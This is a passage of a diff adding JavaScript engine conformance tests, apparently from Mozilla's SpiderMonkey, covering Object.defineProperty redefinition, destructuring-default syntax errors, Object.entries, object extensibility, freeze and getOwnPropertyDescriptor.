+ runDictionaryPropertyPresentTestsFraction:
+ function runDictionaryPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * Add and readd properties such that the scope for the object is in
+ * dictionary mode.
+ */
+ var middleDefines =
+ [
+ {
+ property: "mid1",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid2",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid1",
+ descriptor:
+ { get: function g() { }, set: function s(v){}, configurable: false,
+ enumerable: true }
+ },
+ ];
+
+ function dictionaryPropertyPresentTests()
+ {
+ print("Running dictionary already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(dictionaryPropertyPresentTests,
+ "Dictionary property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
+
+ // HELPERS
+
+ runPropertyPresentTests: function runPropertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ this._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ },
+ _runTestSet: function _runTestSet(fun, completeMessage)
+ {
+ try
+ {
+ fun();
+
+ print(completeMessage);
+ }
+ catch (e)
+ {
+ print("ERROR, EXITING (line " + (e.lineNumber || -1) + "): " + e);
+ throw e;
+ }
+ finally
+ {
+ this._reportAllErrors();
+ }
+ },
+ _reportAllErrors: function _reportAllErrors()
+ {
+ var errorCount = this._logLines.length;
+ print("Full accumulated number of errors: " + errorCount);
+ if (errorCount > 0)
+ throw errorCount + " errors detected, FAIL";
+ },
+ _fullFunctionLengthTests: function _fullFunctionLengthTests(funFactory, len)
+ {
+ print("Running Function.length (" + funFactory + ") tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var desc = VALID_DESCRIPTORS[i];
+ this._runSingleFunctionLengthTest(funFactory(), len, desc);
+ }
+ },
+ _log: function _log(v)
+ {
+ var m = "" + v;
+ print(m);
+ this._logLines.push(m);
+ },
+ _runSingleNotPresentTest: function _runSingleNotPresentTest(desc)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e)
+ {
+ this._log("Reimpl threw defining new descriptor " + desc.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for new " +
+ "property defined with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ },
+ _runSinglePropertyPresentTest:
+ function _runSinglePropertyPresentTest(old, add, middleDefines)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", old);
+ }
+ catch (e)
+ {
+ if (!SameValue(NativeTest.getDescriptor(nativeObj, "foo"), undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource());
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e2)
+ {
+ if (!SameValue(ReimplTest.getDescriptor(reimplObj, "foo"),
+ undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource() +
+ "; reimplObj: " + uneval(reimplObj));
+ }
+
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Different errors defining bad property descriptor: " +
+ old.toSource() + "; native threw " + e + ", reimpl " +
+ "threw " + e2);
+ }
+
+ return;
+ }
+
+ this._log("Difference defining a property with descriptor " +
+ old.toSource() + ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior when adding descriptor " + add.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ // Now add (or even readd) however many properties were specified between
+ // the original property to add and the new one, to test redefining
+ // non-last-properties and properties in scopes in dictionary mode.
+ for (var i = 0, sz = middleDefines.length; i < sz; i++)
+ {
+ var middle = middleDefines[i];
+ var prop = middle.property;
+ var desc = middle.descriptor;
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, prop, desc);
+ ReimplTest.defineProperty(reimplObj, prop, desc);
+ }
+ catch (e)
+ {
+ this._log("failure defining middle descriptor: " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ // Sanity check
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, prop);
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, prop);
+
+ compareDescriptors(nativeDesc, reimplDesc);
+ compareDescriptors(nativeDesc, desc);
+ }
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", add);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for descriptor " + add.toSource() +
+ " overwriting descriptor " + old.toSource() + "; " +
+ "native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for added descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for readded descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; native readd didn't " +
+ "throw, reimpl add did, error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for readded " +
+ "property defined with descriptor " + add.toSource() + "; " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+ },
+ _runSingleFunctionLengthTest: function _runSingleFunctionLengthTest(fun, len, desc)
+ {
+ var nativeObj = fun;
+ var reimplObj = ReimplTest.newObject();
+ ReimplTest.defineProperty(reimplObj, "length",
+ {
+ value: len,
+ enumerable: false,
+ configurable: true,
+ writable: false
+ });
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "length", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior defining fun.length with " + desc.toSource() +
+ "; native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing Function.length native/reimpl " +
+ "behavior for descriptor " + desc.toSource() +
+ ", native impl threw error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e)
+ {
+ this._log("Difference defining new Function.length descriptor: impl " +
+ "succeeded, reimpl threw for descriptor " +
+ desc.toSource() + ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "length");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "length");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for " +
+ "Function.length with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ }
+ };
+
+function runDictionaryPropertyPresentTestsFraction(PART, PARTS)
+{
+ var testfile =
+ '15.2.3.6-dictionary-redefinition-' + PART + '-of-' + PARTS + '.js';
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): dictionary redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+ try
+ {
+ new TestRunner().runDictionaryPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
+
+function runNonTerminalPropertyPresentTestsFraction(PART, PARTS)
+{
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): middle redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ try
+ {
+ new TestRunner().runNonTerminalPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ /******************************************************************************/
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
diff --git a/js/src/tests/non262/object/destructuring-shorthand-defaults.js b/js/src/tests/non262/object/destructuring-shorthand-defaults.js
new file mode 100644
index 0000000000..3ca240e0b7
--- /dev/null
+++ b/js/src/tests/non262/object/destructuring-shorthand-defaults.js
@@ -0,0 +1,127 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure that the syntax used in shorthand destructuring with defaults
+// e.g. |{x=1, y=2} = {}| properly raises a syntax error within an object
+// literal. As per ES6 12.2.6 Object Initializer, "NOTE 3."
+
+const SYNTAX_ERROR_STMTS = [
+ // expressions
+ "({x={}={}}),",
+ "({y={x={}={}={}={}={}={}={}={}}={}}),",
+ "({a=1, b=2, c=3, x=({}={})}),",
+ "({x=1, y={z={1}}})",
+ "({x=1} = {y=1});",
+ "({x: y={z=1}}={})",
+ "({x=1}),",
+ "({z={x=1}})=>{};",
+ "({x = ({y=1}) => y})",
+ "(({x=1})) => x",
+ "({e=[]}==(;",
+ "({x=1}[-1]);",
+ "({x=y}[-9])",
+ "({x=y}.x.z[-9])",
+ "({x=y}`${-9}`)",
+ "(new {x=y}(-9))",
+ "new {x=1}",
+ "new {x=1}={}",
+ "typeof {x=1}",
+ "typeof ({x=1})",
+ "({x=y, [-9]:0})",
+ "((({w = x} >(-9)",
+ "++({x=1})",
+ "--{x=1}",
+ "!{x=1}={}",
+ "delete {x=1}",
+ "delete ({x=1})",
+ "delete {x=1} = {}",
+ "({x=1}.abc)",
+ "x > (0, {a = b} );",
+ // declarations
+ "var x = 0 + {a=1} = {}",
+ "let o = {x=1};",
+ "var j = {x=1};",
+ "var j = {x={y=1}}={};",
+ "const z = {x=1};",
+ "const z = {x={y=1}}={};",
+ "const {x=1};",
+ "const {x={y=33}}={};",
+ "var {x=1};",
+ "let {x=1};",
+ "let x, y, {z=1}={}, {w=2}, {e=3};",
+ // array initialization
+ "[{x=1, y = ({z=2} = {})}];",
+ // try/catch
+ "try {throw 'a';} catch ({x={y=1}}) {}",
+ // if/else
+ "if ({k: 1, x={y=2}={}}) {}",
+ "if (false) {} else if (true) { ({x=1}) }",
+ // switch
+ "switch ('c') { case 'c': ({x=1}); }",
+ // for
+ "for ({x=1}; 1;) {1}",
+ "for ({x={y=2}}; 1;) {1}",
+ "for (var x = 0; x < 2; x++) { ({x=1, y=2}) }",
+ "for (let x=1;{x=1};){}",
+ "for (let x=1;{x={y=2}};){}",
+ "for (let x=1;1;{x=1}){}",
+ "for (let x=1;1;{x={y=2}}){}",
+ // while
+ "while ({x=1}) {1};",
+ "while ({x={y=2}}={}) {1};",
+ // with
+ "with ({x=1}) {};",
+ "with ({x={y=3}={}}) {};",
+ "with (Math) { ({x=1}) };",
+ // ternary
+ "true ? {x=1} : 1;",
+ "false ? 1 : {x=1};",
+ "{x=1} ? 2 : 3;",
+ // assignment
+ "({x} += {});",
+ "({x = 1}) = {x: 2};",
+]
+
+for (var stmt of SYNTAX_ERROR_STMTS) {
+ assertThrowsInstanceOf(() => {
+ Function(stmt);
+ }, SyntaxError);
+}
+
+// A few tricky but acceptable cases:
+// see https://bugzilla.mozilla.org/show_bug.cgi?id=932080#c2
+
+assertEq((({a = 0}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({a: 1}), 1);
+
+{
+ let x, y;
+ ({x=1} = {});
+ assertEq(x, 1);
+ ({x=1} = {x: 4});
+ assertEq(x, 4);
+ ({x=1, y=2} = {})
+ assertEq(x, 1);
+ assertEq(y, 2);
+}
+
+{
+ let {x={i=1, j=2}={}}={};
+ assertDeepEq(x, ({}));
+ assertEq(i, 1);
+ assertEq(j, 2);
+}
+
+// Default destructuring values, which are variables, should be defined
+// within closures (Bug 1255167).
+{
+ let f = function(a){
+ return (function({aa = a}){ return aa; })({});
+ };
+ assertEq(f(9999), 9999);
+}
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/duplProps.js b/js/src/tests/non262/object/duplProps.js
new file mode 100644
index 0000000000..41b8d67fb0
--- /dev/null
+++ b/js/src/tests/non262/object/duplProps.js
@@ -0,0 +1,116 @@
+/*
+ * ES6 allows duplicate property names in object literals, even in strict mode.
+ * These tests modify the tests in test262 to reflect this change.
+ */
+
+// test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
+a = function() { "use strict"; return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
+a = function() { "use strict"; return { foo : 1, get foo() { return 2; }}};
+assertEq(a().foo, 2);
+a = function() { return { foo : 1, get foo() { return 2;} }};
+assertEq(a().foo, 2);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
+a = function() { "use strict"; return { foo : 1, set foo(a) { throw 2; }}};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+a = function() { return { foo : 1, set foo(a) { throw 2;} }};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+a = function() { return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
+a = function() { "use strict"; return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/entries.js b/js/src/tests/non262/object/entries.js
new file mode 100644
index 0000000000..1a03ceb421
--- /dev/null
+++ b/js/src/tests/non262/object/entries.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("entries" in Object) {
+ assertEq(Object.entries.length, 1);
+
+ var o, entries;
+
+ o = { a: 3, b: 2 };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 3], ["b", 2]]);
+
+ o = { get a() { return 17; }, b: 2 };
+ entries = Object.entries(o),
+ assertDeepEq(entries, [["a", 17], ["b", 2]]);
+
+ o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["__iterator__", o.__iterator__]]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["b", 2], ["a", 3]]);
+
+ o = [0, 1, 2];
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", 0], ["1", 1], ["2", 2]]);
+
+ o = /./.exec("abc");
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", "a"], ["index", 0], ["input", "abc"], ["groups", undefined]]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3], ["b", 5]]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["g", 1]]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3]]);
+
+ assertThrowsInstanceOf(() => Object.entries(), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(null), TypeError);
+
+ assertDeepEq(Object.entries(1), []);
+ assertDeepEq(Object.entries(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.entries(Symbol("foo")), []);
+
+ assertDeepEq(Object.entries("foo"), [["0", "f"], ["1", "o"], ["2", "o"]]);
+
+ entries = Object.entries({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(entries, [["a", "A"]]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ entries = Object.entries(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(entries, [["c", 3], ["a", 1]]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/extensibility-01.js b/js/src/tests/non262/object/extensibility-01.js
new file mode 100644
index 0000000000..c001f38254
--- /dev/null
+++ b/js/src/tests/non262/object/extensibility-01.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.10-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function trySetProperty(o, p, v, strict)
+{
+ function strictSetProperty()
+ {
+ "use strict";
+ o[p] = v;
+ }
+
+ function setProperty()
+ {
+ o[p] = v;
+ }
+
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ if (strict)
+ strictSetProperty();
+ else
+ setProperty();
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+function tryDefineProperty(o, p, v)
+{
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ Object.defineProperty(o, p, { value: v });
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+assertEq(typeof Object.preventExtensions, "function");
+assertEq(Object.preventExtensions.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+
+ assertEq(trySetProperty(o, "baz", 17, true), "throw",
+ "unexpected behavior for strict-mode property-addition to " +
+ "object " + i);
+ assertEq(trySetProperty(o, "baz", 17, false), "swallowed",
+ "unexpected behavior for property-addition to object " + i);
+
+ assertEq(tryDefineProperty(o, "baz", 17), "throw",
+ "unexpected behavior for new property definition on object " + i);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/extensibility-02.js b/js/src/tests/non262/object/extensibility-02.js
new file mode 100644
index 0000000000..c61e367281
--- /dev/null
+++ b/js/src/tests/non262/object/extensibility-02.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.4-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof Object.isExtensible, "function");
+assertEq(Object.isExtensible.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/freeze-global-eval-const.js b/js/src/tests/non262/object/freeze-global-eval-const.js
new file mode 100644
index 0000000000..a43f5c51c9
--- /dev/null
+++ b/js/src/tests/non262/object/freeze-global-eval-const.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalcx
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+try {
+ evalcx("Object.freeze(this); eval('const q = undefined;')");
+} catch (e) {
+ assertEq(e.message, "({lazy:false}) is not extensible");
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/object/freeze-proxy.js b/js/src/tests/non262/object/freeze-proxy.js
new file mode 100644
index 0000000000..3d95a28d4f
--- /dev/null
+++ b/js/src/tests/non262/object/freeze-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.freeze(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.freeze(Object.freeze(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/freeze.js b/js/src/tests/non262/object/freeze.js
new file mode 100644
index 0000000000..18f71f76d6
--- /dev/null
+++ b/js/src/tests/non262/object/freeze.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1076588;
+var summary = "Object.freeze() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.freeze(), undefined);
+assertEq(Object.freeze(undefined), undefined);
+assertEq(Object.freeze(null), null);
+assertEq(Object.freeze(1), 1);
+assertEq(Object.freeze("foo"), "foo");
+assertEq(Object.freeze(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.freeze(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js b/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js
new file mode 100644
index 0000000000..472887f90b
--- /dev/null
+++ b/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(function testcase() {
+ var proto = {};
+ Object.defineProperty(proto, "prop", {get: function () {return {};}, enumerable: true});
+ var ConstructFun = function () {};
+ ConstructFun.prototype = proto;
+ var child = new ConstructFun;
+ return Object.getOwnPropertyNames(child).indexOf('prop');
+}(), -1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/object/getOwnPropertyDescriptor.js b/js/src/tests/non262/object/getOwnPropertyDescriptor.js
new file mode 100644
index 0000000000..7aaba7b5ee
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertyDescriptor.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079188;
+var summary = "Coerce the argument passed to Object.getOwnPropertyDescriptor using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(null), TypeError);
+
+Object.getOwnPropertyDescriptor(1);
+Object.getOwnPropertyDescriptor(true);
+if (typeof Symbol === "function") {
+ Object.getOwnPropertyDescriptor(Symbol("foo"));
+}
+
